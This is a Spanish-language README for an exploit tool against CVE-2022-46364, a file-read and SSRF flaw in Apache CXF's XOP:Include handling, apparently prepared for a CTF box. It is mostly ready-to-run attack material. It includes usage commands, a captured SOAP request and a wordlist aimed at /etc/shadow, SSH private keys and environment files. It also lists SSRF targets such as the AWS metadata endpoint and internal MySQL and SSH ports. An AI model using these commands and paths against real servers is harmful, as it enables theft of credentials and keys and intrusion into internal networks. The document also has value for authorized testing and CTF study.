
CVE-2022-46364 Apache CXF XOP:Include SSRF / LFI
Autor: 0xmid00
Vulnerabilidad: SSRF / Lectura de archivos local via XOP:Include en solicitudes MTOM
Afectado: Apache CXF < 3.5.5 y < 3.4.10
Apache CXF procesa mensajes MTOM (Mecanismo de Optimización de Transmisión de Mensajes) que contienen elementos XOP:Include. El atributo href de XOP:Include está destinado a hacer referencia a un adjunto dentro del mismo mensaje multiparte MTOM.
Sin embargo, en versiones vulnerables, CXF seguirá cualquier URI proporcionada en href, incluyendo:
file:///etc/passwd → lee archivos locales (LFI)http://127.0.0.1:PORT/ → sondea servicios internos (SSRF)Un atacante solo necesita enviar una solicitud SOAP con al menos un parámetro de cualquier tipo para activar esto.
pip install requests
python3 exploit.py -r request.txt [options]
| Argumento | Descripción |
|---|---|
-r, --request | Ruta al archivo de solicitud HTTP sin procesar (requerido) |
--mode 1 | Auto-detecta campos XML inyectables usando /etc/passwd |
--mode 2 | Fuzzea una wordlist de rutas de archivos |
--field NAME | Especifica el campo XML a inyectar (omite la detección automática) |
--wordlist PATH | Ruta a la wordlist de archivos para Modo 2 |
--read PATH | Lee un único archivo específico |
-v, --verbose | Muestra información detallada de la solicitud |
Guarda tu solicitud HTTP sin procesar en un archivo .txt exactamente como fue capturada (p.ej. desde Burp):
POST /employeeservice HTTP/1.1
Host: devarea.htb:8080
Content-Type: text/xml; charset=utf-8
SOAPAction: ""
Connection: close
Content-Length: 487
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:tns="http://devarea.htb/">
<soapenv:Body>
<tns:submitReport>
<arg0>
<confidential>false</confidential>
<content>test</content>
<department>IT</department>
<employeeName>john</employeeName>
</arg0>
</tns:submitReport>
</soapenv:Body>
</soapenv:Envelope>
El exploit lo convierte automáticamente al formato MTOM — no necesitas hacerlo manualmente.
python3 exploit.py -r request.txt --mode 1
Intenta inyectar file:///etc/passwd en cada elemento XML hoja e informa cuáles devuelven contenido del archivo.
python3 exploit.py -r request.txt --mode 1 --field content
python3 exploit.py -r request.txt --mode 2 --wordlist lfi.txt
Primero ejecuta el Modo 1 para encontrar el campo inyectable, luego fuzzeea todas las rutas en la wordlist a través de ese campo.
python3 exploit.py -r request.txt --mode 2 --field content --wordlist lfi.txt
Omite la detección de campo y va directamente al fuzzing.
python3 exploit.py -r request.txt --field content --read /home/dev_ryan/.ssh/id_rsa
/etc/passwd
/etc/shadow
/etc/hosts
/etc/hostname
/proc/self/environ
/proc/self/cmdline
/home/dev_ryan/.ssh/id_rsa
/home/dev_ryan/.bash_history
/home/dev_ryan/.bashrc
/root/.ssh/id_rsa
/root/.bash_history
/var/log/auth.log
/var/log/syslog
También puedes usar SecLists:
/usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt
<xop:Include href="file:///..."/>Para sondear servicios HTTP internos en lugar de leer archivos:
python3 exploit.py -r request.txt --field content --read http://127.0.0.1:8080/
O edita el valor --read con cualquier URL interna:
--read http://169.254.169.254/latest/meta-data/ (metadatos de AWS)
--read http://127.0.0.1:3306/ (MySQL)
--read http://127.0.0.1:22/ (banner SSH)
Esta herramienta es solo para pruebas de penetración autorizadas y desafíos CTF. El autor no es responsable del mal uso.